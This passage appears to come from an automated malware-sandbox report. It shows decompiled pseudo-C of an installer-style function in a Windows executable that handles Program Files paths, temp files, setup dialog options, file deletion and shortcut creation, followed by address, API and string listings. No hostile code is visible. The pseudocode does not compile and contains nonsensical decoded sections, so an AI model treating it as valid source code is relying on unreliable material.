											__eax = RegOpenKeyExW(0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion", 0, 1, __ebp - 0x1c);
											__eflags = __eax;
											if(__eax == 0) {
												__ebp - 0x10 = __ebp - 0x1040;
												__eax = __ebp - 0x20;
												 *(__ebp - 0x10) = 0x1000;
												RegQueryValueExW( *(__ebp - 0x1c), L"ProgramFilesDir", 0, __ebp - 0x20, __ebp - 0x1040, __ebp - 0x10) = RegCloseKey( *(__ebp - 0x1c));
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eax = 0x7ff;
												__eflags =  *(__ebp - 0x10) - 0x7ff;
												if( *(__ebp - 0x10) < 0x7ff) {
													__eax =  *(__ebp - 0x10);
												}
												__ecx = 0;
												__eflags = 0;
												 *(__ebp + __eax * 2 - 0x1040) = __cx;
											}
											__eflags =  *(__ebp - 0x1040);
											if( *(__ebp - 0x1040) != 0) {
												__eax = __ebp - 0x1040;
												__eax = E0041A7AF(__ebp - 0x1040);
												__eflags =  *((short*)(__ebp + __eax * 2 - 0x1042)) - 0x5c;
												if( *((short*)(__ebp + __eax * 2 - 0x1042)) != 0x5c) {
													__ebp - 0x1040 = E0041A7C9(__ebp - 0x1040, "\\");
													_pop(__ecx);
													_pop(__ecx);
												}
											}
											__edi = E0041A7AF(__edi);
											__eax = __ebp - 0x1040;
											__edi = __edi + E0041A7AF(__ebp - 0x1040);
											__eflags = __edi - 0x7ff;
											if(__edi >= 0x7ff) {
												goto L67;
											} else {
												__ebp - 0x1040 = E0041A7C9(__ebp - 0x1040,  *(__ebp - 0x18));
												goto L66;
											}
										}
										__eflags = __edi->i - 0x3a;
										if(__edi->i == 0x3a) {
											goto L64;
										}
										goto L55;
									}
									__eflags = __edi->i - 0x5c;
									if(__edi->i != 0x5c) {
										goto L52;
									}
									_t103 = __edi + 4; // 0x26
									__eax = _t103;
									__eflags =  *__eax;
									if( *__eax == 0) {
										goto L163;
									}
									_push(__eax);
									goto L65;
								}
							case 4:
								__eflags =  *0x441874 - 1;
								__eflags = __eax - 0x441874;
								__edi->i = __edi->i + __ecx;
								__eflags = __edi->i & __dh;
								_push(es);
								 *__eax =  *__eax + __al;
								__eflags =  *__eax;
							case 5:
								__eax =  *(__ebp - 0x4440) & 0x0000ffff;
								__eax =  *(__ebp - 0x4440) & 0x0000ffff;
								__eflags = __eax;
								if(__eax == 0) {
									L84:
									 *0x441831 = 0;
									 *0x441830 = 1;
									goto L163;
								}
								__eax = __eax - 0x30;
								__eflags = __eax;
								if(__eax == 0) {
									 *0x441831 = 0;
									L83:
									 *0x441830 = 0;
									goto L163;
								}
								__eax = __eax - 1;
								__eflags = __eax;
								if(__eax == 0) {
									goto L84;
								}
								__eax = __eax - 1;
								__eflags = __eax;
								if(__eax != 0) {
									goto L163;
								}
								 *0x441831 = 1;
								goto L83;
							case 6:
								__eflags =  *(__ebp + 0x10) - 4;
								if( *(__ebp + 0x10) != 4) {
									goto L94;
								}
								__eax = __ebp - 0x4440;
								__eax = E0041AA21(__ebp - 0x4440, L"<>");
								_pop(__ecx);
								_pop(__ecx);
								__eflags = __eax;
								if(__eax == 0) {
									goto L94;
								}
								_push(0);
								goto L93;
							case 7:
								__eflags =  *(__ebp + 0x10) - 1;
								if(__eflags != 0) {
									L114:
									__eflags =  *(__ebp + 0x10) - 7;
									if( *(__ebp + 0x10) == 7) {
										__eflags =  *0x441874;
										if( *0x441874 == 0) {
											 *0x441874 = 2;
										}
										 *0x441870 = 1;
									}
									goto L163;
								}
								__ebp - 0x8c90 = GetTempPathW(__ebx, __ebp - 0x8c90);
								__ebp - 0x8c90 = E0040A116(__eflags, __ebp - 0x8c90, __ebx);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000000;
								_push(0);
								__esi = L"%s%s%d";
								while(1) {
									_push( *0x4300c8);
									__ebp - 0x8c90 = __ebp - 0x1040;
									E0040BC16(__ebp - 0x1040, __ebx, __esi, __ebp - 0x8c90) = __ebp - 0x1040;
									_push(__ebp - 0x1040);
									__eax = __edi->i();
									__eflags = __eax - 0xffffffff;
									if(__eax == 0xffffffff) {
										break;
									}
									_t152 = __ebp - 0x10;
									 *_t152 =  *(__ebp - 0x10) + 1;
									__eflags =  *_t152;
									_push( *(__ebp - 0x10));
								}
								__ebp - 0x1040 = SetDlgItemTextW( *(__ebp + 8), 0x66, __ebp - 0x1040);
								__eflags =  *(__ebp - 0x4440);
								if( *(__ebp - 0x4440) == 0) {
									goto L163;
								}
								__eflags =  *0x44184a;
								if( *0x44184a != 0) {
									goto L163;
								}
								__eax = 0;
								 *(__ebp - 0x1440) = __ax;
								__eax = __ebp - 0x4440;
								__eax = E0041CA29(__ebp - 0x4440, 0x2c);
								_pop(__ecx);
								_pop(__ecx);
								__eflags = __eax;
								if(__eax != 0) {
									L110:
									__eflags =  *(__ebp - 0x1440);
									if( *(__ebp - 0x1440) == 0) {
										__ebp - 0x1bc90 = __ebp - 0x4440;
										E0041A7F7(__ebp - 0x4440, __ebp - 0x1bc90) = __ebp - 0x19c90;
										__ebp - 0x1440 = E0041A7F7(__ebp - 0x1440, __ebp - 0x19c90);
									}
									__ebp - 0x4440 = E0040D24C(__ebp - 0x4440);
									__eax = 0;
									 *(__ebp - 0x3440) = __ax;
									__ebp - 0x1440 = __ebp - 0x4440;
									__eax = MessageBoxW( *(__ebp + 8), __ebp - 0x4440, __ebp - 0x1440, 0x24);
									__eflags = __eax - 6;
									if(__eax == 6) {
										goto L163;
									} else {
										 *0x441849 = 1;
										 *0x44183c = 1;
										__eax = EndDialog( *(__ebp + 8), 1);
										goto L114;
									}
								}
								__ecx = 0;
								__eflags =  *(__ebp - 0x4440) - __cx;
								if( *(__ebp - 0x4440) == __cx) {
									goto L110;
								}
								__eax = __ebp - 0x4440;
								while(1) {
									__eflags =  *__eax - 0x40;
									if( *__eax == 0x40) {
										break;
									}
									__ecx = __ecx + 1;
									__eax = __ebp + __ecx * 2 - 0x4440;
									__eflags =  *__eax;
									if( *__eax != 0) {
										continue;
									}
									goto L110;
								}
								__esi = __ecx + __ecx;
								__ebp + __esi - 0x443e = __ebp - 0x1440;
								__eax = E0041A7F7(__ebp - 0x1440, __ebp + __esi - 0x443e);
								_pop(__ecx);
								__eax = 0;
								__eflags = 0;
								_pop(__ecx);
								 *(__ebp + __esi - 0x4440) = __ax;
								goto L110;
							case 8:
								__eflags =  *(__ebp + 0x10) - 3;
								if( *(__ebp + 0x10) == 3) {
									__eflags =  *(__ebp - 0x4440);
									if(__eflags != 0) {
										__ebp - 0x4440 = SetWindowTextW( *(__ebp + 8), __ebp - 0x4440);
									}
									__edi = __ebp + 0xc;
									 *0x441854 = E0040D92D(__edi, __eflags);
								}
								 *0x44184b = 1;
								goto L163;
							case 9:
								__eflags =  *(__ebp + 0x10) - 5;
								if( *(__ebp + 0x10) != 5) {
									L94:
									 *0x44185c = 1;
									goto L163;
								}
								_push(1);
								L93:
								_push( *(__ebp + 8));
								__ecx = __ebp - 0x4440;
								__eax = E0040E46C(__ecx);
								goto L94;
							case 0xa:
								__eflags =  *(__ebp + 0x10) - 6;
								if( *(__ebp + 0x10) != 6) {
									goto L163;
								}
								__eax = 0;
								 *(__ebp - 0x2440) = __ax;
								__eax =  *(__ebp - 0x1bc90) & 0x0000ffff;
								__eax = E0041D265( *(__ebp - 0x1bc90) & 0x0000ffff);
								_push(__ebx);
								__eflags = __eax - 0x50;
								if(__eax == 0x50) {
									_push(0x43f822);
									__eax = __ebp - 0x2440;
									_push(__ebp - 0x2440);
									__eax = E00410B9C();
									 *(__ebp - 0x18) = 2;
								} else {
									__eflags = __eax - 0x54;
									__eax = __ebp - 0x2440;
									if(__eflags == 0) {
										_push(0x43e822);
										_push(__eax);
										__eax = E00410B9C();
										 *(__ebp - 0x18) = 7;
									} else {
										_push(0x440822);
										_push(__eax);
										__eax = E00410B9C();
										 *(__ebp - 0x18) = 0x10;
									}
								}
								__eax = 0;
								 *(__ebp - 0xbc90) = __ax;
								 *(__ebp - 0x4c40) = __ax;
								__ebp - 0x19c90 = __ebp - 0x6c88;
								__eax = E0041A7F7(__ebp - 0x6c88, __ebp - 0x19c90);
								__eflags =  *(__ebp - 0x6c88) - 0x22;
								_pop(__ecx);
								_pop(__ecx);
								if( *(__ebp - 0x6c88) != 0x22) {
									__ebp - 0x6c88 = E004092A5(__ebp - 0x6c88);
									__eflags = __al;
									if(__al != 0) {
										goto L148;
									}
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000000;
									__eflags =  *(__ebp - 0x6c88);
									__edi = __ebp - 0x6c88;
									if( *(__ebp - 0x6c88) == 0) {
										goto L148;
									} else {
										goto L136;
									}
									do {
										L136:
										__eax = __edi->i & 0x0000ffff;
										__eflags = __ax - 0x20;
										if(__ax == 0x20) {
											L138:
											__esi = __ax & 0x0000ffff;
											__eax = 0;
											__edi->i = __ax;
											__ebp - 0x6c88 = E004092A5(__ebp - 0x6c88);
											__eflags = __al;
											if(__al == 0) {
												__edi->i = __si;
												goto L145;
											}
											 *(__ebp - 0x10) = __edi;
											__eflags = __si - 0x2f;
											if(__si != 0x2f) {
												do {
													__edi =  &(__edi->i);
													__edi =  &(__edi->i);
													__eflags = __edi->i - 0x20;
												} while (__edi->i == 0x20);
												_push(__edi);
												__eax = __ebp - 0x4c40;
												L143:
												_push(__eax);
												E0041A7F7() =  *(__ebp - 0x10);
												_pop(__ecx);
												_pop(__ecx);
												 *( *(__ebp - 0x10)) = __si;
												goto L145;
											}
											_push(0x2f);
											_pop(__eax);
											 *(__ebp - 0x4c40) = __ax;
											__eax =  &(__edi->i);
											_push( &(__edi->i));
											__eax = __ebp - 0x4c3e;
											goto L143;
										}
										__eflags = __ax - 0x2f;
										if(__ax != 0x2f) {
											goto L145;
										}
										goto L138;
										L145:
										__edi =  &(__edi->i);
										__edi =  &(__edi->i);
										__eflags = __edi->i;
									} while (__edi->i != 0);
									__eflags =  *(__ebp - 0x10);
									if( *(__ebp - 0x10) != 0) {
										__ecx =  *(__ebp - 0x10);
										__eax = 0;
										__eflags = 0;
										 *( *(__ebp - 0x10)) = __ax;
									}
									goto L148;
								} else {
									__ebp - 0x19c8e = __ebp - 0x6c88;
									E0041A7F7(__ebp - 0x6c88, __ebp - 0x19c8e) = __ebp - 0x6c86;
									__eax = E0041CA29(__ebp - 0x6c86, 0x22);
									__eflags = __eax;
									if(__eax != 0) {
										__ecx = 0;
										 *__eax = __cx;
										__ebp - 0x4c40 = E0041A7F7(__ebp - 0x4c40, __ebp - 0x4c40);
										_pop(__ecx);
										_pop(__ecx);
									}
									L148:
									__esi = 0;
									__eflags =  *((intOrPtr*)(__ebp - 0x11c90)) - __si;
									if( *((intOrPtr*)(__ebp - 0x11c90)) != __si) {
										__ebp - 0xbc90 = __ebp - 0x11c90;
										__eax = E0040A9CB(__edi, __ebp - 0x11c90, __ebp - 0xbc90, __ebx);
									}
									__ebp - 0xcc90 = __ebp - 0x6c88;
									__eax = E0040A9CB(__edi, __ebp - 0x6c88, __ebp - 0xcc90, __ebx);
									__eflags =  *(__ebp - 0x2440) - __si;
									if(__eflags == 0) {
										__ebp - 0x2440 = E0040D212(__ecx, __ebp - 0x2440,  *(__ebp - 0x18));
									}
									__ebp - 0x2440 = E0040A116(__eflags, __ebp - 0x2440, __ebx);
									__eflags =  *((intOrPtr*)(__ebp - 0x17c90)) - __si;
									if(__eflags != 0) {
										__ebp - 0x17c90 = __ebp - 0x2440;
										E00410BC9(__eflags, __ebp - 0x2440, __ebp - 0x17c90, __ebx) = __ebp - 0x2440;
										__eax = E0040A116(__eflags, __ebp - 0x2440, __ebx);
									}
									__ebp - 0x2440 = __ebp - 0xac90;
									__eax = E0041A7F7(__ebp - 0xac90, __ebp - 0x2440);
									_pop(__ecx);
									_pop(__ecx);
									__eax = __ebp - 0x13c90;
									__eflags =  *(__ebp - 0x13c90) - __si;
									if(__eflags == 0) {
										__eax = __ebp - 0x19c90;
									}
									__ebp - 0x2440 = E00410BC9(__eflags, __ebp - 0x2440, __ebp - 0x2440, __ebx);
									__eax = __ebp - 0x2440;
									__eflags = E0040A76A(__ebp - 0x2440) - __esi;
									if(__eflags == 0) {
										L158:
										__ebp - 0x2440 = E00410BC9(__eflags, __ebp - 0x2440, L".lnk", __ebx);
										goto L159;
									} else {
										__eflags = __eax;
										if(__eflags == 0) {
											L159:
											__ebp - 0x2440 = E0040935F(__ebx, __ecx, __edi, __ebp - 0x2440, 1);
											__ebp - 0xcc90 = __ebp - 0x9c90;
											__eax = E0041A7F7(__ebp - 0x9c90, __ebp - 0xcc90);
											_pop(__ecx);
											_pop(__ecx);
											__ebp - 0x9c90 = E0040A7F3(__eflags, __ebp - 0x9c90);
											 *(__ebp - 0x4c40) & 0x0000ffff =  ~( *(__ebp - 0x4c40) & 0x0000ffff);
											asm("sbb eax, eax");
											__ecx = __ebp - 0x4c40;
											__eax =  ~( *(__ebp - 0x4c40) & 0x0000ffff) & __ebp - 0x00004c40;
											 *(__ebp - 0xbc90) & 0x0000ffff =  ~( *(__ebp - 0xbc90) & 0x0000ffff);
											asm("sbb ecx, ecx");
											__edx = __ebp - 0xbc90;
											__ecx =  ~( *(__ebp - 0xbc90) & 0x0000ffff) & __ebp - 0x0000bc90;
											 *(__ebp - 0x15c90) & 0x0000ffff =  ~( *(__ebp - 0x15c90) & 0x0000ffff);
											asm("sbb edx, edx");
											__esi = __ebp - 0x15c90;
											__edx =  ~( *(__ebp - 0x15c90) & 0x0000ffff) & __ebp - 0x00015c90;
											 *(__ebp - 0x9c90) & 0x0000ffff =  ~( *(__ebp - 0x9c90) & 0x0000ffff);
											asm("sbb esi, esi");
											__edi = __ebp - 0x9c90;
											__esi =  ~( *(__ebp - 0x9c90) & 0x0000ffff) & __edi;
											__ebp - 0x2440 = __ebp - 0xcc90;
											__eax = E00419BB0(__ecx, 0, __ebp - 0xcc90, __ebp - 0x2440, __esi,  ~( *(__ebp - 0x15c90) & 0x0000ffff) & __ebp - 0x00015c90, __ecx,  ~( *(__ebp - 0x4c40) & 0x0000ffff) & __ebp - 0x00004c40);
											__eflags =  *(__ebp - 0xac90);
											if( *(__ebp - 0xac90) != 0) {
												__eax = __ebp - 0xac90;
												SHChangeNotify(0x1000, 5, __ebp - 0xac90, 0);
											}
											goto L163;
										}
										goto L158;
									}
								}
							case 0xb:
								__eflags =  *(__ebp + 0x10) - 7;
								if( *(__ebp + 0x10) == 7) {
									 *0x441878 = 1;
								}
								goto L163;
							case 0xc:
								__eax =  *(__ebp - 0x4440) & 0x0000ffff;
								__eax = E0041D265( *(__ebp - 0x4440) & 0x0000ffff);
								__eflags = __eax - 0x46;
								if(__eax == 0x46) {
									 *0x441823 = 1;
								} else {
									__eflags = __eax - 0x55;
									if(__eax == 0x55) {
										 *0x441822 = 1;
									} else {
										 *0x441823 = 0;
										 *0x441822 = 0;
									}
								}
								goto L163;
							case 0xd:
								 *0x44185d = 1;
								__eax = __eax + 0x44185d;
								__ecx = __ecx + __ebp;
								 *0x7d830000 =  *0x7d830000 ^ __eax;
								__eflags =  *0x7d830000;
								goto L163;
						}
						L4:
						_t274 = E0040DCB8(_t336, _t274,  *(_t354 - 0x10));
						 *(_t354 - 0x10) =  *(_t354 - 0x10) + 0x2000;
						_t15 = _t354 - 0x18;
						 *_t15 =  *((intOrPtr*)(_t354 - 0x18)) - 1;
						if( *_t15 != 0) {
							goto L4;
						} else {
							 *(_t354 - 0x10) =  *(_t354 - 0x10) & 0x00000000;
							goto L6;
						}
						L163:
						_t347 = _t354 - 0xec90;
						_t271 = E0040D781(_t354 - 0x11, _t354 - 0xec90, _t352,  *((intOrPtr*)(_t354 + 0xc)), _t354 - 0x4440, _t354 + 0xf, 0x1000);
						 *((intOrPtr*)(_t354 + 0xc)) = _t271;
					} while (_t271 != 0);
				}
			}

0x0040e85c
0x0040e866
0x0040e86f
0x0040f434
0x0040f437
0x0040f43f
0x0040f43f
0x0040e891
0x0040e896
0x0040e89b
0x0040e8a2
0x0040e8a9
0x0040e8a9
0x0040e8af
0x0040e8b5
0x0040e8ba
0x0040e8c0
0x0040e8c3
0x0040e8c3
0x00000000
0x0040e8e3
0x0040e8fd
0x0040e904
0x00000000
0x0040e906
0x00000000
0x0040e906
0x0040e904
0x0040e90f
0x00000000
0x00000000
0x0040e918
0x00000000
0x0040e91f
0x0040e923
0x00000000
0x00000000
0x0040e931
0x0040e94c
0x0040e957
0x0040e95c
0x0040e96d
0x0040e978
0x0040e97d
0x0040e98c
0x0040e991
0x0040e993
0x0040eaf2
0x0040eaf2
0x0040eafc
0x00000000
0x0040e999
0x0040e999
0x0040e99e
0x0040e9a7
0x0040e9ad
0x0040e9b4
0x0040ea5c
0x0040ea63
0x0040ea65
0x0040ea68
0x00000000
0x00000000
0x0040ea71
0x0040ea77
0x0040ea79
0x00000000
0x0040ea7b
0x0040ea7b
0x0040ea7e
0x0040ea7f
0x0040ea87
0x0040ea97
0x0040ea9c
0x0040eaa6
0x0040eaa8
0x0040eaab
0x0040ea81
0x0040ea81
0x0040ea81
0x0040ea84
0x00000000
0x0040eaad
0x0040eabb
0x0040eac1
0x0040eac3
0x0040ead0
0x0040ead0
0x00000000
0x0040eac3
0x0040eaab
0x0040ea79
0x0040e9c9
0x0040e9d6
0x0040e9e2
0x0040e9e8
0x0040e9eb
0x0040e9ee
0x0040ea02
0x0040ea09
0x0040ea0e
0x0040ea10
0x00000000
0x00000000
0x0040ea16
0x0040ea1d
0x0040ea22
0x0040ea26
0x0040ea33
0x0040ea38
0x0040ea3b
0x0040ea3d
0x0040ea3e
0x0040ea48
0x0040ea4f
0x0040ea56
0x00000000
0x0040ea56
0x0040e9f7
0x0040e9fd
0x0040ea00
0x00000000
0x00000000
0x00000000
0x0040ead6
0x0040ead6
0x0040eae5
0x0040eaea
0x0040eaea
0x00000000
0x0040e99e
0x00000000
0x0040eb06
0x0040eb0a
0x0040eb10
0x0040eb15
0x0040eb17
0x0040eb1b
0x0040eb1f
0x0040eb27
0x0040eb2c
0x0040eb2d
0x0040eb2d
0x0040eb2e
0x0040eb32
0x0040eb3c
0x0040eb44
0x0040eb34
0x0040eb34
0x0040eb34
0x0040eb46
0x0040eb4a
0x0040eb5c
0x0040eb4c
0x0040eb4c
0x0040eb4c
0x0040eb5f
0x0040eb64
0x0040eb6a
0x0040eb6b
0x0040eb71
0x0040eb76
0x0040eb79
0x0040eb7d
0x0040eb82
0x0040eb84
0x0040eb84
0x0040eb86
0x0040eb86
0x0040eb8b
0x0040eb90
0x0040eb94
0x0040eb95
0x0040eb96
0x0040eb9c
0x0040eb9d
0x0040eba2
0x0040eba2
0x0040eb96
0x00000000
0x00000000
0x0040eba8
0x0040ebac
0x0040ebbc
0x0040ebbc
0x00000000
0x00000000
0x0040ebc7
0x0040ebcb
0x00000000
0x00000000
0x0040ebd1
0x0040ebd9
0x00000000
0x00000000
0x0040ebdf
0x0040ebe1
0x0040ebe9
0x0040ebef
0x0040ebf2
0x0040ebf9
0x0040ebfb
0x0040ec01
0x0040ec01
0x0040ec05
0x0040ec0b
0x0040ec0d
0x00000000
0x0040ec13
0x0040ec13
0x0040ec16
0x0040ec1a
0x0040ec36
0x0040ec36
0x0040ec3a
0x0040ed1b
0x0040ed1b
0x0040ed1c
0x0040ed1c
0x0040ed22
0x0040ed23
0x0040ed28
0x0040ed28
0x0040ed29
0x0040ed2a
0x0040ed2a
0x0040ed33
0x0040ed38
0x0040ed39
0x0040ed3a
0x0040ed3c
0x0040ed3e
0x0040ed43
0x0040ed45
0x0040ed45
0x0040ed47
0x0040ed47
0x0040ed43
0x0040ed52
0x0040ed57
0x0040ed58
0x0040ed61
0x0040ed71
0x0040ed7b
0x0040ed8a
0x0040ed90
0x0040ed98
0x0040ed9d
0x0040ed9e
0x0040ed9f
0x0040eda1
0x0040edb6
0x0040edb6
0x00000000
0x0040eda1
0x0040ec40
0x0040ec43
0x0040ec50
0x0040ec50
0x0040ec62
0x0040ec68
0x0040ec6a
0x0040ec70
0x0040ec77
0x0040ec85
0x0040ec95
0x0040ec9b
0x0040ec9e
0x0040eca3
0x0040eca6
0x0040eca8
0x0040eca8
0x0040ecab
0x0040ecab
0x0040ecad
0x0040ecad
0x0040ecb5
0x0040ecbd
0x0040ecbf
0x0040ecc6
0x0040eccb
0x0040ecd5
0x0040ece3
0x0040ece8
0x0040ece9
0x0040ece9
0x0040ecd5
0x0040ecf0
0x0040ecf2
0x0040ecfe
0x0040ed02
0x0040ed08
0x00000000
0x0040ed0a
0x0040ed14
0x00000000
0x0040ed14
0x0040ed08
0x0040ec45
0x0040ec4a
0x00000000
0x00000000
0x00000000
0x0040ec4a
0x0040ec1c
0x0040ec21
0x00000000
0x00000000
0x0040ec23
0x0040ec23
0x0040ec26
0x0040ec2a
0x00000000
0x00000000
0x0040ec30
0x00000000
0x0040ec30
0x00000000
0x0040edc1
0x0040edc2
0x0040edc7
0x0040edc9
0x0040edcb
0x0040edcc
0x0040edcc
0x00000000
0x0040ee02
0x0040ee09
0x0040ee09
0x0040ee0c
0x0040ee39
0x0040ee39
0x0040ee40
0x00000000
0x0040ee40
0x0040ee0e
0x0040ee0e
0x0040ee11
0x0040ee26
0x0040ee2d
0x0040ee2d
0x00000000
0x0040ee2d
0x0040ee13
0x0040ee13
0x0040ee14
0x00000000
0x00000000
0x0040ee16
0x0040ee16
0x0040ee17
0x00000000
0x00000000
0x0040ee1d
0x00000000
0x00000000
0x0040ee8f
0x0040ee93
0x00000000
0x00000000
0x0040ee95
0x0040eea1
0x0040eea6
0x0040eea7
0x0040eea8
0x0040eeaa
0x00000000
0x00000000
0x0040eeac
0x00000000
0x00000000
0x0040eed4
0x0040eed8
0x0040f04f
0x0040f04f
0x0040f053
0x0040f059
0x0040f060
0x0040f062
0x0040f062
0x0040f06c
0x0040f06c
0x00000000
0x0040f053
0x0040eee6
0x0040eef4
0x0040eef9
0x0040eefd
0x0040eeff
0x0040ef0c
0x0040ef0c
0x0040ef1a
0x0040ef2a
0x0040ef30
0x0040ef31
0x0040ef33
0x0040ef36
0x00000000
0x00000000
0x0040ef06
0x0040ef06
0x0040ef06
0x0040ef09
0x0040ef09
0x0040ef44
0x0040ef4a
0x0040ef52
0x00000000
0x00000000
0x0040ef58
0x0040ef5f
0x00000000
0x00000000
0x0040ef65
0x0040ef67
0x0040ef6e
0x0040ef77
0x0040ef7c
0x0040ef7d
0x0040ef7e
0x0040ef80
0x0040efcc
0x0040efcc
0x0040efd4
0x0040efdd
0x0040efe9
0x0040eff7
0x0040effc
0x0040f006
0x0040f00b
0x0040f00d
0x0040f01d
0x0040f027
0x0040f02d
0x0040f030
0x00000000
0x0040f036
0x0040f03b
0x0040f042
0x0040f049
0x00000000
0x0040f049
0x0040f030
0x0040ef82
0x0040ef84
0x0040ef8b
0x00000000
0x00000000
0x0040ef8d
0x0040ef93
0x0040ef93
0x0040ef97
0x00000000
0x00000000
0x0040ef99
0x0040ef9a
0x0040efa1
0x0040efa5
0x00000000
0x00000000
0x00000000
0x0040efa7
0x0040efa9
0x0040efb4
0x0040efbb
0x0040efc0
0x0040efc1
0x0040efc1
0x0040efc3
0x0040efc4
0x00000000
0x00000000
0x0040f078
0x0040f07c
0x0040f07e
0x0040f086
0x0040f092
0x0040f092
0x0040f098
0x0040f0a0
0x0040f0a0
0x0040f0a5
0x00000000
0x00000000
0x0040f0b1
0x0040f0b5
0x0040eebc
0x0040eebc
0x00000000
0x0040eebc
0x0040f0bb
0x0040eeae
0x0040eeae
0x0040eeb1
0x0040eeb7
0x00000000
0x00000000
0x0040f0c2
0x0040f0c6
0x00000000
0x00000000
0x0040f0cc
0x0040f0ce
0x0040f0d5
0x0040f0dd
0x0040f0e3
0x0040f0e4
0x0040f0e7
0x0040f11c
0x0040f121
0x0040f127
0x0040f128
0x0040f12d
0x0040f0e9
0x0040f0e9
0x0040f0ec
0x0040f0f2
0x0040f108
0x0040f10d
0x0040f10e
0x0040f113
0x0040f0f4
0x0040f0f4
0x0040f0f9
0x0040f0fa
0x0040f0ff
0x0040f0ff
0x0040f0f2
0x0040f134
0x0040f136
0x0040f13d
0x0040f14b
0x0040f152
0x0040f157
0x0040f15f
0x0040f160
0x0040f161
0x0040f1b2
0x0040f1b7
0x0040f1b9
0x00000000
0x00000000
0x0040f1bf
0x0040f1c3
0x0040f1cb
0x0040f1d1
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f1d3
0x0040f1d3
0x0040f1d3
0x0040f1d6
0x0040f1da
0x0040f1e2
0x0040f1e2
0x0040f1e5
0x0040f1e7
0x0040f1f1
0x0040f1f6
0x0040f1f8
0x0040f238
0x00000000
0x0040f238
0x0040f1fa
0x0040f1fd
0x0040f201
0x0040f219
0x0040f219
0x0040f21a
0x0040f21b
0x0040f21b
0x0040f221
0x0040f222
0x0040f228
0x0040f228
0x0040f22e
0x0040f231
0x0040f232
0x0040f233
0x00000000
0x0040f233
0x0040f203
0x0040f205
0x0040f206
0x0040f20d
0x0040f210
0x0040f211
0x00000000
0x0040f211
0x0040f1dc
0x0040f1e0
0x00000000
0x00000000
0x00000000
0x0040f23b
0x0040f23b
0x0040f23c
0x0040f23d
0x0040f23d
0x0040f243
0x0040f247
0x0040f249
0x0040f24c
0x0040f24c
0x0040f24e
0x0040f24e
0x00000000
0x0040f163
0x0040f16a
0x0040f176
0x0040f17f
0x0040f187
0x0040f189
0x0040f18f
0x0040f191
0x0040f19f
0x0040f1a4
0x0040f1a5
0x0040f1a5
0x0040f251
0x0040f251
0x0040f253
0x0040f25a
0x0040f264
0x0040f26b
0x0040f26b
0x0040f278
0x0040f27f
0x0040f284
0x0040f28b
0x0040f297
0x0040f297
0x0040f2a4
0x0040f2a9
0x0040f2b0
0x0040f2ba
0x0040f2c7
0x0040f2ce
0x0040f2ce
0x0040f2da
0x0040f2e1
0x0040f2e6
0x0040f2e7
0x0040f2e8
0x0040f2ee
0x0040f2f5
0x0040f2f7
0x0040f2f7
0x0040f30c
0x0040f311
0x0040f31d
0x0040f31f
0x0040f330
0x0040f33d
0x00000000
0x0040f321
0x0040f32c
0x0040f32e
0x0040f342
0x0040f34b
0x0040f357
0x0040f35e
0x0040f363
0x0040f364
0x0040f36c
0x0040f378
0x0040f37a
0x0040f37c
0x0040f382
0x0040f38b
0x0040f38d
0x0040f38f
0x0040f395
0x0040f39e
0x0040f3a0
0x0040f3a2
0x0040f3a8
0x0040f3b3
0x0040f3b6
0x0040f3b8
0x0040f3be
0x0040f3c8
0x0040f3d1
0x0040f3d6
0x0040f3de
0x0040f3e2
0x0040f3f0
0x0040f3f0
0x00000000
0x0040f3de
0x00000000
0x0040f32e
0x0040f31f
0x00000000
0x0040f3f8
0x0040f3fc
0x0040f3fe
0x0040f3fe
0x00000000
0x00000000
0x0040ee4c
0x0040ee54
0x0040ee5a
0x0040ee5d
0x0040ee83
0x0040ee5f
0x0040ee5f
0x0040ee62
0x0040ee77
0x0040ee64
0x0040ee64
0x0040ee6b
0x0040ee6b
0x0040ee62
0x00000000
0x00000000
0x0040eec8
0x0040eec9
0x0040eece
0x0040eed0
0x0040eed0
0x00000000
0x00000000
0x0040e8ca
0x0040e8ce
0x0040e8d3
0x0040e8da
0x0040e8da
0x0040e8dd
0x00000000
0x0040e8df
0x0040e8df
0x00000000
0x0040e8df
0x0040f405
0x0040f41b
0x0040f421
0x0040f426
0x0040f429
0x0040f433

APIs

__EH_prolog.LIBCMT ref: 0040E85C

Part of subcall function 0040D781: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 0040D82F

SetFileAttributesW.KERNEL32(?,00000000,?,00000000,?,?,00000800,?,00000000,742BBB20,?,0040F541,?,00000003), ref: 0040E9A7
_wcslen.LIBCMT ref: 0040E9E2
_wcslen.LIBCMT ref: 0040E9F7
_wcslen.LIBCMT ref: 0040EA1D
_memset.LIBCMT ref: 0040EA33
SHFileOperationW.SHELL32 ref: 0040EA56
GetFileAttributesW.KERNEL32(?), ref: 0040EA63
DeleteFileW.KERNEL32(?), ref: 0040EA71
_wcscat.LIBCMT ref: 0040EB27
_wcslen.LIBCMT ref: 0040EB5F
_realloc.LIBCMT ref: 0040EB71
_wcscat.LIBCMT ref: 0040EB8B
SetWindowTextW.USER32(?,?), ref: 0040EBBC
_wcslen.LIBCMT ref: 0040EC05
_wcscpy.LIBCMT ref: 0040ED23
_wcsrchr.LIBCMT ref: 0040ED33
_wcscpy.LIBCMT ref: 0040ED52
GetDlgItem.USER32 ref: 0040ED6B
SetWindowTextW.USER32(00000000,?), ref: 0040ED7B
SendMessageW.USER32(00000000,00000143,00000000,%s.%d.tmp), ref: 0040ED8A
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0040EDB6

Strings

", xrefs: 0040EBE1
C:\Windows, xrefs: 0040E8B5
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040EC58
%s.%d.tmp, xrefs: 0040E999, 0040EA8E, 0040ED51, 0040ED81, 0040ED97
\, xrefs: 0040ECCB
<br>, xrefs: 0040EB21
ProgramFilesDir, xrefs: 0040EC7D

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
